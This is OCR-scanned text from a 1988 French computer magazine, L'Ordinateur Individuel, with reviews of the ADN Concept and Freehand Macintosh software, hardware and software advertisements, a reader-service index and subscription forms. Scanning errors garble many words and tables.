et jusqu'à técemment, l'uti- 
lisateur de micro-informati- 
que se trouvait confronté à 
des choix cornéliens dans le 
domaine du logiciel. Ainsi, il 
sacrifiait volontiers la puis- 
sance sur l'autel de la simpli- 
cité ou, pire, il vouait un 
culte à la complexité pour 
jouir de bonnes performan- 




Fonaion : SGBD pour 

Macintosh. 

Editeur :G+M. 

Distributeur :G+M. 

Prix: 3 900 F ht {version 

1.2). 

Service-lecteurs, référence n° 13 



ces. L'idée même d'un logi- 
ciel évolutif ne l'avait pas 
effleuré le moins du monde, 
pas plus que les dévelop- 
peurs du teste ! 

Notre malheureux 
consommateur passait donc 
son temps à tester de nou- 
veaux ptoduits, d'autant 
que les tâches à confiet à 
l'ordinateur se multipliaient. 
Inutile de rappeler à quel 
point cette pratique, ô 
combien répandue, coûte de 
temps, d'argent et d'énergie. 
Face à une telle problémati- 
que, des éditeurs tentèrent 
d'apporter des solutions. Les 
intégrés, et plus tard les gé- 
nétateurs de base de don- 



nées, répondaient en partie 
aux exigences croissantes de 
l'acheteur. 

Les uns comme les autres 
ne redonnent pas pour au- 
tant le sourire à l'utilisateur. 
Un SGBD moyen impose 
de longues périodes de pro- 
grammation confiées à des 
développeurs spécialisés. Un 
intégré rend de multiples 
services mais imparfaite- 
ment. Pour des tâches spéci- 
fiques comme le mailing, 
l'établissement de graphes 
ou de listes à partir de fiches, 
les gestions de fichiers et les 
intégrés s'essoufflent rapide- 
ment. 

L'interface graphique du 



Mac a donné quelques idées 
à un polytechnicien afin de 
transformer toutes ces tâches 



s en un jeu d en- 
fant. Qaude Colin a planché 
durant trois années pour 
aboutir à ADN Concept 
(G + M). Mais patience est 
mère de sagesse : l'usager ne 
peut se trouver dérouté par 
l'environnement d'ADN, il 
dérive directement de celui 
du micro. 

L'idée de base d'ADN se 
résume en un mot : évolu- 
tion. Le logiciel se compose 
de trois modules distincts 
mais parfaitement commu- 
nicants, i accsssibles jL fparpr 
d'un bureau ADN. Le pre- 
mier, de modélisation, sert 
d'atelier'. L'utilisateur définit 
une fiche, de format varia- 
ble, par champ. Il intègre 
textes et images fixes, dési- 
gne les rubriques (seulement 
huit seront employées 
comme indice), les zones 
texte et image variables. 

Lors de la création d'une 
rubrique, une fiche associée 
apparaît automatiquement 
(deuxième module). Celle-ci 
spécifie le type (numérique, 
alphanumérique, date) de la 
rubrique, la typographie, la 
justification, la présentation 
pour les nombres, et le nu- 
méro d'index assigné si be- 
soin est. Pour chacun des 
autres champs, l'usager dé- 
termine justification et fonte. 

Le module de modélisa- 
tion reste accessible en per- 
manence, même en cours 
d'utilisation. Dans ce 
deuxième environnement, la 
saisie et la consultation des 
fiches s'effectuent (presque) 
entièrement au doigt et à la 
souris. La programmation, 
troisième volet du logiciel 
qui lui donne toute sa puis- 




Dans votre bureau, dans l'avion ou au cœur 
de la jungle, le LT 3200 relève tous les défis. 
Même s'il ne pèse que 6,7 kg, sa mémoire de 
2,6 Mo* et son disque dur rapide (28 ms) de. 
20 Mo en font le partenaire idéal de 
l'aventurier des temps modernes. Côté 
lecture, il assure un maximum avec son écran 
plasma haute résolution. Le LT3200, l'arme 
des baroudeurs de demain. 
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sance, s'effectue par l'inter- 
médiaire d'un nouvel envi- 
ronnement. 

Le langage-objet intégré 
dans ADN Concept évite la 
quasi-totalité des accès au 
clavier. Par simples dics, le 
développeur associe des pro- 
grammes rant aux rubriques 
qu'aux éléments actifs (tous 
les éléments autres que les 
rubriques peuvent être acti- 
vés), tant aux menus spé- 
ciaux (barre de menu entiè- 
i';na-iK redéfinîssable) qu'au 
menu spécifique au fichier et 
■portant son nom. 



■NON A 

■ L'ISOLATIONNISME 

. Déroutante au départ, la 
programmation à la souris 
serair totalement impossible 
sans le mode aide, disponi- 
ble à tout instant et dans les 
trois modules. Celui-ci 
.transforme la flèche en point 
d'interrogation. A chaque 
pointage sur un terme, un 
écran d'aide s'affiche don- 
nant la définition et des 
exemples d'utilisation le cas 
échéant. ■ 

La faculté d'évolution' 
d'ADN réside en grande 
partie dans ce module de 
programmation. Les routi- 
nes ne se cantonnent pas 
seulement au fichier en cours 
de construction, mais s'éten- 
dent à d'aurres fichiers. 
L'utilisateur accède ainsi à 
des données aussi diverses 
que leurs origines. Cette op- 
tion de multifichiers rela- 
tionnels transforme le logi-. 
ciel en une véritable solution 
de rechange face aux SGBD 
bien connus. 

L'originalité du produit 
de Claude Colin ne se limite 
piiS à cette structure modu- 



laire, destinée à se dévelop- 
per. La documentation est 
présentée sut trois disquettes 
en trois leçons. Une qua- 
trième disquette comporte 
plus de 670 Ko de fichiers 
Tests. Ceux-ci donnent une 
démonstration des capacités 
du programme, point par 
point. 

L'ensemble de cette docu- 
mentation électronique a 
évidemment été écrite sous 
ADN, en mode documen- 
taire : la quatrième arme du 
produit! Tout développeur 
intégrera dorénavant une 
documentation à son appli- 
cation : le logiciel est conçu 
pour faciliter ce travail. 

Pour convaincre les der- 
niers récalcitrants, ADN 
Concept dispose d'une assis- 
tance téléphonique et télé- 
matique permanente. De 
plus, le logiciel communique 
parfaitement avec les deux 
autres produits de l'éditeur 
G+M : le générateur de 
systèmes experts K2 et l'en- 
semble télématique Samba 
(réalisé par l'éditeur et Phi- 
lippe Boulanger, le père de 
Dragster). 

La version 1.2 d'ADN 
coûte 3 900 F ht. Jusqu'à la 
version 2.0 (non incluse), le 
remplacement du pro- 
gramme est gratuit. La ver- 
sion multiposte fonctionne 
sans sourciller jusqu'à une 
cinquantaine d'utilisateurs 
(sous Ethertalk). Les deux 
premiers postes se vendent 
6 500 Fht,' et les postes 
supplémentaires (par deux) 
1 000 F ht. Enfin, pour 
ceux qui rencontrent quel- 
ques problèmes, G + M 
vend trois journées de for- 
mation qui donnent une vi- 
sion globale du produit. 

MICHAËLTHEVENET 



FREEHAND:POSTSCRIPT 
EN TOUTE LIBERTÉ 



A la différence du dessin 
bit mapped (point à point), 
les programmes graphiques 
émulant le langage Post- 
Script utilisent une techni- 
que vectorielle et des courbes 
de Bézier. En d'autres 
termes, chaque ligne, chaque 
courbe, chaque objet est dé- 
crit mathématiquement. 
Pour l'utilisateur habitué à 
MacPaint, l'adaptation est 
redoutable et demande 
beaucoup de patience. En 
revanche, le dessin pourra 
être imprimé sur toute im- 
primante équipée de Post- 
Script et ce, quelle que soit sa 
tésolution. Un graphique 
PostScript conçu avec Free- 
hand peut prétendre à une 
finesse d'impression de 
2 400 points au pouce - ou 
même plus - dès lors que le 
Macintosh est interface avec 
une Linotronic. 

L'un des points forts de 
Freehand est sa capacité à 
gérer les couleurs. L'utilisa- 
teur choisira entre trois mo- 
dèles : RGB (Red, Grœn, 
Bhe), HSB (Hue, Satura- 
don, Brighmess) ou CMY 
(Cyan, Magenta, Yellow), 
ce qui permet de travailler 
indifféremment pour un im- 
primeur ou dans l'optique 
d'une sortie vidéo. Une cou- 
leur peur être attribuée à 
chaque objet. Le remplissage 
des formes se fait suivant un 
processus uniforme ou avec 
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Fonction : Création 
Graphique. 
Editeur : Mdus. 
Distributeur : Ise Cegos. 
Pmr;5 200Fht. 
Service-lecteurs, référencera 14 



des dégradés convergeant 
vers un point ou selon un 
angle prédéterminé. Le ré- 
sultat s'avère époustouflant. 

Freehand sépare les cou- 
leurs primaires pour préparer 
les films nécessaires à l'im- 
pression en quadrichromie. 
La technique de dessin est la 
même que celle proposée par 
Illustrator avec, toutefois, un 
outil de création de courbes à 
main levée. Sur chaque 
courbe se trouvent des points 
d'ancrage et des points de 
fuite modifiables à tout mo- 
ment. 

Les objets peuvent subir 
de nombreuses transforma- 
tions : rotation, déformation, 
changement d'échelle ou de 
symétrie. On les place en 
premier ou en second plan. 
Enfin, Freehand offre un 
éditeur de texte sophistiqué. 
A la différence d'Illustrator 
qui ne peut gérer plus de 
255 caractères à la fois, Free- 
hand accepte de longs textes. 
On peut choisir la police, la 
taille, le style, mais aussi la 
couleur et la trame des carac- 
tères. Un texte peut être 
associé à n'importe quelle 
courbe prédéfinie. 

Dernier avantage, Free- 
hand travaille avec une rapi- 
dité étonnante. Tous ceux 
qui ont manipulé Cricket 
Draw seront étonnés de voir 
à quelle vitesse ce pro- 
gramme calcule et redessine 
les documents. En attendant 
la nouvelle version (immi- 
nente) d'Illustrator, Free- 
hand est le plus sophistiqué 
des logiciels de création gra- 
phique sur Macintosh. 

JEAN-LOUIS LE BRETON 







POP/CR 



TOPKEY POWER, c 
supplément de prix,, sur la 
demploi [souris, menus dér 
riche d'exemples. 



jVUU r (prix de lancement) 
SGBD, pour PC, PS et compatibles. Il f. 




ains est facilitée par une documentation claire et 
is programmes portables,en langage standard : le BASIC, 
s avec des outils universels QUICK -BASIC et TURBO-BASIC. 

• TOPKEY POWER vous affranchit des langages particuliers pour apporter ouverture, 

puissance et é vol ut i vite à toutes vos applications. 

• TOPKEY POWER communique avec tous les systèmes (gras, minis, micros) et permet donc 
d'exploiter pleinement tout le capital informatique de l'entreprise. 

• TOPKEY POWER génère des applications documentées, donc modifiables par tous, dans 
toutes les circonstances. Ainsi, votre patrimoine informatique s'enrichit et évolue sans risques. 

• TOPKEY POWER met à votre disposition 300 fonctions spécialisées (arithmétiques, 
logiques, financières. r::it sliqijf-i...) el fonctionne, à voire choix, en langue française ou anglaise). 

• TOPKEY POWER, le générateur surdoué, vousouvre les portes de la création... sans limites. 
Et sans redevances à payer sur les applications diffusées ! 



LE SUR-GENERATEUR 



*HT 



Jl OUERVIIIF CEDEX, o 



42425509 



ru 

QUAUT 

™ MICRO INFORMATIQUE FAMILIALE & PROFESSION 



VT^YHD MicroSystèmes 

■n ~m a*> a*% ce r\t\ 




Télex 614 260. Fax 47 60 23 41 

67 rua Sartarls 92250 La Garenne Colomb 

A 2 minutes de la Défense 

Ouvert du lundi au vendredi 9 ri 30 à 13 h» 14 h à 19 h V 



ir. compatible Hayes 

2 Modem NIAGARA V21. V22. V22 Dis. V23, V 
ModemAMAZONË24Q0bauds, V21.V22. 



IMPRIMANTES, ACCESSOIRES 

1SMF 5100,1 

0, S160L, S480, S480L 

.. .NNESt " 

fTBOPa 

o,MT66b" 

EPSON PPm 

"" SDcoi mn/anim. int// 

:x iooo. lq 830 
19990 F GO 



H, 136(27 cps. inlerfs 
. . . JL S480, S48r" 
MANNESMANN TALLV 

si"-- MTr-— . 
MTB5,MTB6.MTB7.MT88.MT90, 




^1 



FOUI 



Livrés avec MS DOS 3.21 
et GW BASIC en français. 
Contrat de maintenance sur site. 
Garantie 1 an. 




PROMO 

g Hard card 20, 30, 40 Mb 



CARTES MÈRES 

PROMO AT3S6, 16 MHz, format XT. 2 
eu à S Mb sur la cane 

1590F TURBOXT4. 7716MHz, 640 : 

CARTES D'AFFICHAGE 

port joystick, lighlpen 
590F Mull[CGATur6o640<200,p 

« Graphique couleur EGA court- 

64 couleurs comp EGA/CGAfl 

2 990 F Super PGA 800 < 600; PGA/E- 

autaswiteh, 132 wl x 44 lignes 

1 590 F Mulli affichage (CGA/MGP] et 



CARTES DE PROGRAMMATION 

1590F d'EPROM(2716à2712B) 

]T»F 4 EPROMS ■■■:i2716è27256) 

3Î90F 10EP; : 3MS simultanément (2716à27512) 

3 900 F dePALIMMI.NS.Tt...) 

3100 F dePROMlMMI, NS.TI. S...) 

2 MO F de 87kx (41A, 42, 4BH, 49H) 

CIRCUITS IMPRIMÉS NUS 

re TURB0 1 Mb 
._. iliflleur de drivea ou carte monochron 
1e MGP ou CGA ou parallèle ou RS 232 

ird'EPROM 



70 F Carte c 



PIECES DETACHEES 
& ACCESSOIRES 



390 F 12" PHILIPS ambre ou vert, vidéo composite 

1290 F 12"AOCMM2 ;[e orientable entrée 

1390F 12"'MM211Rpaperwrifle 

2 690 F 14"PH1LIPS coûT. 600 x 285. pltch 0,42, inclin. 

4590F 14"AOCCM312i ul. EGA/CGA, haute résol. 



: ■■■-..■'. ,: 



II, PGA, VGA. EGA. CGA 



CARTES D'EXTENSION MÉMOIRE 



0" NEC mulli sync XL, 1 
nalogique, 21,65 kHz ë 



CLAVIERS, SOURIS, SCANNERS 

790 F Clavier AZERTY 5060, look AT comp .XT/A1 
B90F Clavier AZERTY 5161 102 touctl es. Curseur 

OlrVERTYpour6060ou5- 




590 F Dalaswitchp 
3 090 F Butler externe 


ralléle ou série 1/4, réversible 


CONNECTIQUE 


CABLES 


275 F Câble imprim 
150F Câblelmprlm 

250 F Wt 2e port car 

1488.1489, & 

300 F Kit 2e port car 

« Gerid'erChari 


nte parallèle [1.80 m) 
nte parallèle (3.60 m) 

cables en stock 
e RS 232. XT avec 8250 B, 


eRS232AT avec 16540, 
er RS 232 Mini testeur 



istiqu es identiques à 

■ HDM AX6-1 : SUPER PROMO 
Carte mère Turbo 6, 8 ou 10 MHz 
3 slols d'extensions. 512 K RAM ext. à 340 K/1 Mb 

Contrôleur tloppyidisque dur 
Lecleur De disquette 1,2 Mb MITSUBISHI 
Disque dur 20 Mb. Carte graphique CGA ou MGP 
."'or: .... ..■.;. :..... .,,.- 

Carte RS232 (2 ports) et parallèle 
Clavier Azerty 10;; ■,,„:,., , „, , ■ ■.. 

- Tlûriïflï.!.; . ;.:.,.:.-.: I.v.j .V '■.'.:.:„-:;■ 

• HDM AX6-2 avec disque dur 40 Mb : » 

• HDM AX6-3 avec disque dur 80 Mb ; fi 



■1 SUPER PROMO 



CARTES D'ENTRÉES/SORTIES 

990 F Mulli I/O (1 //, 2 RS 232, horloge, joystick, 

contrôleur de drivea] avec câbles 
890 F ira plus 11 courte (1 II. 2 HS232, horloge, j 

490F BttStI 



.'I .■:!!. .I. .: 

Clavier Azerty 10 



'apfiique CGA ou 
in Joysllck 



LECTEURS DE DISQUETTES, 
DISQUES DURS 
SAUVEGARDES, DUPLICATEURS 



CARTES CONTROLEURS 



DISQUETTES 

& BOITES DE RANGEMENT 

15 F Boite de rgmt 10 disq. 5" 1/4 

145 F Boite de rgmt 100 disq. 5" 1/4 à c 

125 F Boite de rgmi 40 disq. 3" WEfiEr 

5" 1/4 Rhône Poulenc FIRE BAI 

70 F DFDD.48tpi 

3" 1/2 Rhône Poulenc FIRE BAI 



COPROCESSEURS, MEMOIRES 

1 590 F 8087-2 (8 MHz) 



ATARI "™ 

toute la gamme 520 ST, 1040, MEOA ST, tous les périphériques. 







LOGICIELS - 10% à - 40% 

flGWBASICeri 
wora a. Uuick Basic, 
npller, C compiler, 

<tor. Basé r, Memso 
I MAJOR, paie, gestion 



Cobol compiler 

D Base IV, Rapide Fi; 
Comptabilité SAARI | ... 
commerciale, SCOXENIX, N 



Désignation 


Nombre 


Prix total 




















Forfait port jusqu'à 5 kg (au dessus nous consulter) 




40 F 


Cl-joint mon règlement de 


Total 





; A 



33 USA 

COMPATIBLES APPLE 

3 600 F HDM 2e: 64 K, clavier mufti-langage 



EXTENUONS 
MACINTOSH PLUS/SE/II 

5 900 F Disque dur 20 Mb SCSI 



DMP816entrei 

DMP19 16 sorti 
DMP9 64 emr« 



ijiar oplo-coupli 

lulesE/S(5SR)p. carte 64 
..de barre (UPC, E AN. J AN] 
Carte GPIB IEEE 488 
Option PASCAL ou C pour carte GPIB 






: QMP17BCB 
790 F DMP21BOS 






prototype p. AT, di 



□ Je désire recevoir une documentation complète, je joins 10 F ei 



QUALITE. 



' revendeur micros et composants sur demande. 
Commandes administratives acceptées. 
'ni 7TC modifiables sans préavis. 
Apple est une marque déposée par Apple Comparer Inc. 
" ' " -f une marque déposée par IBM Corp. 

Exportations HT. Crédit total Immédiat Cetelem 
Location de PC XT. A T, Imprimantes. 















SERVICE 


. 












LECTEURS 






Un complément d'information ? Un prix ? Pour en savoir plus sur 1 
produits et les services proposés dans nos pages de rédaction et de 


S 






_ 






SL 


Société 


Page 




publicité, cerclez sur l'encart prédécoupé ci-contre, en bas à droite, les 
références service-lecteurs qui vous intéressent. Complétez-le 
soigneusement de vos nom, adresse et qualité, puis retournez-le-nous tel 


135 
180 


3X 
ARN-MCL 


39 
17 






121 
136 




2 

40-41 1 




quel, sans affranchissemenr. A tirre de rappel, pour faciliter vos 




151 
153 
167 


Attel 


87 


'l - ' 


recherches, figure ci-dessous l'ensemble des références concernant la 




119 




présente édition. Pour les pages de rédaction, les produits sont classés par 


127 
163 


toZ 


19 
111 1 




rubrique dans leur ordre d'apparition dans le journal. En ce qui concerne 
les pages de publicité, pas de changement, nos annonceurs sont répertoriés 


125 
176 


Borland International 
Cedic-Nathan 


8et9 
152 




166 


CelecAéio 


163 




par ordre alphabétique. 




187 
170 


Gel 
Coconut 


177 1 
135 I 








157 


Digital Reseaich 


96 1 










188 
139 
174 

177 


Digitelcc Informatique 
DSC Ordinateurs 
Editions du PSI 
Editions du PSI 


116 1 
45 1 

147 1 
157 1 




| RÉDACT 








SL 


Produi ts/Distri buteurs 


Page 




105 


KhdW'cjîiis ■■'Ordinateur Express 


112 








Actualités 






106 


Pn write ,' Vaiiijeois Electronkr ue 


112 




150 


Electrel 


79 1 




l? 


LuctdîD/SoftwiifrTi-cniiiijijjiis 


51 




107 


Sçribble/Atnie 


112 




175 


Ets Layrolle 


151 1 




2(1 


Sidekitk + /Borland 


52 




108 


Ttïtoarï Plu.i 'Coironijdore Frrji.i- 


112 




132 


France Télécom 


28-29 1 




21 


3Xlink/3X 


54 




109 


V;/jnTia-/Mi:.Ti; Application 


112 




148 


HD Micro Système 


64et 1 




22 


Lîjilink + /Software T;rhr.i:!iij>ies 


54 




110 


Word7/Eduso(t 


112 








65 1 




23 


WordPerfect 5-0 


54 




111 


WordPerfecr/WordPerfeet France 


112 




122 


Hengstler 


199 1 




24 


LQ 5000/Amstrad 


54 




60 


Cslcomst 2,'Micro Application 


137 




165 


HPHaid 


114 1 




■ 25 


LCETech/LŒ 


54 




61 


Masterplan/ 16-32 


137 




168 


Hurrran Technologies 


125 1 




26 


Liplink ii'~ 'Siiim,;-'.- ïi/ciinuiiisyis 


56 




62 


Vir-Vnifess'ional/16-32 


137 




142 


Hyper CB 


50 1 




27 


Madini; l'Ius Alpha Svsiém'ss 


57 




63 


Da i ; i n ;i t ■■' M ■ un Application 


140 




137 


Idéasoft 


43 1 




28 


Daynafile/Gamic 


57 




64 


iiLPc. r i)iit Prolcssional/Micro 


140 




146 


IEEE 


61 1 




9 
10 


PS32/AniralIJtec 
DisusiL-s amovibles/LŒ 


58 
58 




65 


hJiiLt!',:! "."parade éditions 


140 




171 
155 


Infomanie 

International Software Solution France 


141 1 
92 1 




66 


II 


IDS548/I2S 


58 




■66 


GemJTBase+/JTDrffusinri 


140 




200 


KA L'Informatique Douce 






12 


MT222,MT230/24.MT910S, 


58 




67 


Publrshing Rarrner/Up^ ri Je td irions 


l'43 




124 


Konex. 


6et7 1 






MT,9101J/Apricut 
ADrN/G+M 






68 


Fleerstrcet Publisher/Fil 


143 




162 


La Solution Douce 


109 1 




13 


60 




69 


Tuntwnrk; Desktop Publrstier /Atari 


143 




145 


Locamesirre 


57 1 


'' 


14 


Fieehand/Ise Cegre 


62 




70 
71" 


STStud.o/JCD MidiSoft 
DE50/Nnmera 


150 
150 




13! 
143 


Manntsiuann 
Mairimicro 


26-27 1 
53 1 






Essais i 






72 


S i ntrr*-ij: k s / Sa ro Lrformtrique 


150 




173 


Microdial 


146 1 




30 


P,-i'jr.L>L'/Waran Digital 


74 




73 


MTDesigner/Fost 


150 




158 


Mirropro 


99 1 




31 


Donarec/Donatec 


74 




74 


Prj 24 San'i inforinalrque. 


150 




156 


Microsoft 


95 1 




32' 


STB EM/Infoco 


74 




75 


Notator/MPl 


150 




134 


Microstory 


37 1 




33 


Tecmar/Almatec 


74 




76 


EZ-Score-Plns/Fosl 


150 




179 


Micmvad 


116 1 




34 


Vidéo 7/Softsel 


74 




77 


Aninratie/Logidds 


155 




126 


Mini Service 


76 1 












78 


Aljîij Ar.maror/Aegis 


155 




183 


Monterey 


76 1 






35 


Repères 
Write/Microsoft 


88 




79 
80 


Art Studio 

Art Si-.-ihv Vf aaiiter Software 


155 

155 




159 
180 


Néol 
Outland 


171 1 






36 


Comfotex/Frame 


88 




SI 


Q'berpaint/Antic 


155 




164 


Pick Europe 


113 1 




37 


Wintext/Priam 


88 




82 


Degas Elite/Battetieslncluded 


155 




123 


Samsung 


200 1 




38 


Wûrd4.0/Microsoft 


98 




83 


Lisy Dnw/Migraph Inc. 


155 




133 


Sicob Micro Informatique 


31 1 




39 


WordPerfect 4 .2 /WordPerfect 


98 




84 


GHA Aràst/Mirm Application 


155 




138 


Soirtx/lntellog 


44 1 




40 


Textor 4/Talot 






85 


GFA Movie/Mioo Application 


155 




152 


Sofossimo 






41 


Visio 4/IBM 


98 




86 


Spectrum/Upfrradc édrtions ■ 


155 




161 


Soffsel 


106 1 




■12 


Sptint/Borlarrd ' 


98 




87 


(>.iainn:n ■AVÏngs 


155 




154 


Softworld 


90 1 




43 


Manuscript/Lotus 


98 




88 


Stad/ Application Systems Heidelberg 


155 




128 


Sysrec 


21 1 




44 


Uulrin-.are Ad'.'atiraLit.'AihîoTiTatc 


98 




89 


Genleek-incrustation/Octet d'Azur 


156 




129 


Systet 


23 1 




45 


WordPerfect 5.0/WordPerfect 


98 




' 90 


Ai i;iid:a ■ D.B. Logiciel 


156 




130 


Sysrec 


25 1 




46 


MacWrite/Apple 


' 104 




91 


Cad-3D/Anric 


159 




140 


Tandem 


46-17 1 




47 


MacWrite 5.0/P. Ingénierie 


104 




92 


Diiiit-nsi-irs j/Ioriciels 


159 




141 


Tandon 


48et 1 


■ ' 


48 


V' :ii;.\i;'j- ■ Alpha Systèmes 


104 




93 


GFA4Uilriice- Micro Application 


159 








49 1 




49 


WonjJ/Microsoft 


104 




94 


f M,S Sitii'm;. industriel /EMS 


159 




147 


Top Tools 


. 63 1 




50 


WriterFlus/ÂCI 


104 




95 


ZZ-2D/Human Software 


159 




144 




55 1 


( 


51 


WordPerfect Mac 1.0/ WordPerfect 


104 




96 


(a:ii".|i:j ML'irKrft/Merasoft 


165 




178 


Ultinia 


158 1 






Fiance 






97 


Compta ST3/16-32 


165 




172 


Upgrade 


145 1 




52 


Le Rédacteur/Logisoft 


110 




98 


Progicompra/Progecia 


165 




182 


Valiec 


175 1 




53 


Evolution/Priant 


110 




99 


M-di Sï/riioloi; Sptènies ■ 


169 




185 


Valrex 


180 1 




54 


!î«ka Ttxc/Mi:ro Application 


110 




100 


Ilippotrare/NSI Diffusion 


169 




169 


Vidéoshop 


128 et 1 




55 


Srgnunï 2/ Application Systems 


110 




101 


Ai : :-;. 1 t_.S Composants 


172 








129 1 
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ORDINATEUHINDrOTDUEI.N-l.04/JUlN 1988 









Four bénéficier a un prix terme et oetinmr. Dl I CTIIxl M 

ABONNEZ-VOUS ! D'ABONNEMENT 



Oui, je m'abonne pour : □ lan{ll numéros) :250 F 
au lieu de 319 f, 
prix total au numéro 
Je règle pi 

D chèque à l'ordre de L'ORDINATEITR INDIVIDUEL 
D Carte Bleue Visa Date d'expiration 1,1, 

N° de la cane r 



NOM 




Prénom 


Atksse 


Code postal 


Ville 


Pays 


Date 


Sinnanire 




NOM 




Se 


P™ 


Ad™, 


Code postal 


Ville 





g Désire?-vous être contacté par téléphone par les fabricants des 
=; produits qui vous intéressent l Si oui indiquez votre numéro c 
~ téléphone ; n domicile D bureau : I I I I I I I I I 



RÉDACTION 

20 40 60 

1 21 41 61 ,., 

1 11 4! 62 82 102 122 142 I 

3 23 43 63 83 103 123 143 1 

4 24 44 64 84 104 124 144 I 

5 23 45 65 85 105 125 145 1 

6 26 46 66 86 106 126 146 I 

7 11 47 67 87 107 127 147 1 

8 28 48 68 88 108 128 148 I 

9 29 49 69 89 109 129 149 I 

10 30 50 70 90 110 130 150 1 

11 31 51 71 91 III 131 151 1 

12 32 52 72 92 112 132 152 I 

13 33 53 73 91 113 13! 153 1 

14 34 54 74 94 114 134 154 I 

15 35 55 75 95 115 135 155 I 

16 56 56 76 96 116 136 156 I 

17 37 57 77 97 11? 13? 157 1' 

18 38 58 78 98 118 138 158 1' 

19 39 59 79 99 119 139 159 ]' 



Catégorie professionnelle : 

D l.Cadresupériellt 

l~] i. C.'.dr:.' troven ae- 

□ 3. Infotmaticien 

□ 4. Profasi on libérale 
D 5.Emplnyé.ouvrio 
D 6. Enseignant 

D 7. Etudiant 

Zl ,'.(J:iiin-...-;aiir. ;r:isir. 

O 9.1nacnl"erdiras 



.insdel5ans 
□ 2.del5à24ans 

D î. de 25 à 35 ans 
D 4.deî5à49ans 
D 5.50anïerplus 

Etes-vousabonnëâ 

/ 'Or Jimucur Individuel .' 

a Oui n Non 
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DOMAINE PUBLIC Oi 



■ i i i 

■ i i i 
ii m m i i 

■ i i i 

■ i i i 



m 



Chaque mois, une sélection exclusive concoctée par 
la rédaction et ses collaborateurs de la fine fleur des 
logiciels tombés dans le domaine public :quatre dis- 
quettes "Feed Oi", une pour chacun des grands stan- 
dards IBM, Macintosh, Atari et Amiga. Attention! 
Commandez-les sans tarder, cette offre spéciale de 
durée limitée est réservée auxseuls lecteurs réguliers 
de l'Ordinateur individuel. 

Concernant la sélection du mois, vos bons de com- 
mande et chèques doivent nous parvenir impéra- 
tivement avant le 1 5 du mois suivant la parution. 



NOURRISSEZ VOTRE MICRO! 



TARIFS D'ABONNEMENT 




1AN 


FRANCE 


250 FF 


[■KA'SŒ ^udiants) 


110 EF 


BELGIQUE 


1 950 FB 


BllUIQL ^'étudiants) 


1 625 FB 


SUISSE 


75 FS 


SUISSE (étudiants) 


65 FS 


AUTRES PAYS: 




voie normale 


335 FF 


voit r.onr.Lik- i étudiants) 


m FF 


l'.ir ;;v;nri 'étudiants) 


nous consulter 



iri'< : |i-.i!ii,ir!,". 



usbk. 



Etranger : BELGIQUE i Tests Publications, U, rue Langeveld, USD B 

\WnL-nt a la G ner le de B nque r 

: . : '. :<■■:':■ ci l: Grand-Menr. GH ! iT-S " _ i . : ■ \br.r-vir I 

d'Epargne et de Cr'cir n \:-\ Ï2-! GH ; \:-.\ ! ,■ Mo-r. compte-courant n° I 

7.CANADA:LMr i i,5J4:.:n;ds\:a: J s:,:àini-;.0oR ; <rd.Qjd--iLK:R-,! 

AUTRES PAÏ6 

Il i UdeiflO 
Tarife d'abonnement valables jusqu'au 31 mais 1988. 



Super Finder 



MAC 52 



Air Traffic Contrôler 2.0 Jeu Simulation 
du contrôle aérien, Mind Utilitaire Permet 
d'écrire des fichiers d'aide-mémoire. Il 
exécute les ordres reçus au jour el à 
l'heure indiqués. Help "»Teit Programma- 
tion Facilite la création des 
à une application. Super Finder Utilitaire^ 
vous n'utilise? pas Multitinder, choisissez 
Super Finder I Zéro Gravlty Jeu... FKEY 
Samplar Utilitaire Pour tester les FKey. 
MenuSelect 2.5 Utilitaire Pour faire des 
copies d'écran avec un menu déroulé. DA- 
FKEY Utilitaire Pour activer les accessoE 





Wash 

Uittairos et accessoires. Caps État des 

k touches Caps et Numlock. Coretest 

i Mesure la performance du disque 

" dur. Face Parasites sur écran. Finir* 

r Améliore la commande Find du DOS. Hi- 

r deseek Liste des fichiers cachet 

' Génère une table de mots clés. List Affiche des 

fichiers-texte. Lock Fichier «texte seulement". 

el Efface un fichier dans tous les répertoires. Mgaf 

r Émule le mode CGAsur écran Hercules. Osort Remplace 

la commande Sort. Ramdisk Disque virtuel. Sdlsk Trie et remplace 

| un répertoire. SP Tampon d'imprimante. Speedup Accélère lecture- 

écriture sur disque. Spllt Efface l'écran. Vdl 

DO H O Efface les fichiers, avec confirmation. Wash 

rU !■■ Manipulation des fichiers. Othello Jeu. 



Utilisez le bon de commande de la page 71 
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EN DIRECT 
24 h/24 h 



36.15 Oi 



36.15 Oi 



36.15 Oi 




TÉLÉMATIQUE 

Sur votre Minitel, composez 36.15 Oi pour accéder immédiatement à toutes les rubriques de L'Oi 
Télématique, le service dédié micru-iniormaïkjiie reconnu comme le plus complet par la presse spécia- 
lisée. Il recueille chaque mois près de 20 000 appels. 

10 DÉPËCHES/JOUR 

Toute l'actualité micro en direct 1 ENVOI 

* ENVOI 

THE ENVOI 

L'information en temps réel sur la mlctoiaformarlque professionnelle, c'est sur 36.15 Oi 24 h sur 24 h et 
nulle pan ailleurs. Chaque jour, de nouvelles dépêches préparées par toute l'équipe de L'Ordinateur 

individuel avec la collaboration des autres rédactions du Groupe Tests (éditeur de 01 Informatique, 
Décision informatique, Temps Mxo.\ Ressource.- Temps Réel, La Lettre de l'industrie informatique) vous 
livrent sans délai l'essentiel de l'actualité: nouveaux procuits, vit: des entreprises, applications, techno- 
logie, bonnes affaires... Avec trois niveaux de lecture -les titres (une ligne), -d'actu en bref» (résumé de 
quatre lignes), les dépèches compléies (en général ur. écran i - et la possibilité de rechercher-par thèmes 
et mots-clés sur une base de données couvrar.t deux ans d'actualité. 

4 FORUMS 

Des Forums et une messagerie FOR ENVOI 

BAL ENVOI 

Dialoguez avec les utilisateurs et nos collaborateurs spécialistes au travers de quatre grands forums. Ils 
sont organisés autour des standards et des logiciels PC/PS, .Apple, Atari ST et «autres». Les meilleurs 
contributions et débats seront publiés clans le journal. D'autres forums sont tenus régulièrement autour 
de thèmes d'actualité. 
La messagerie c'est aussi la manière la plus efficace de dialoguer avec la Rédaction (boîte 10002, Oi). 

2000 CONTRIBUTIONS 

Des conseils techniques CT ENVOI 

Comment récupérer sous Excel sur Macintosh les données d'un fichier Multiplan MS-DOS? 

Vous voulez expédier des données .ASCII depuis un PC via votre Minitel? 

Savez -vous obtenir une copie d'écran de qualité à partir d'un Macintosh? 

Un conseil avant de prendre une photo d'écran? 

DOS 3.3 est-il réservé aux PS/2? 

Toutes les réponses figurent, aux côtés de près de 2000 autres conseils d'utilisation sur tous les standards 

de la micro, dans cette rubrique enrichie régdicrt'mefit des interventions les plus pertinentes sur les 

Forums. 

3000 ADRESSES 

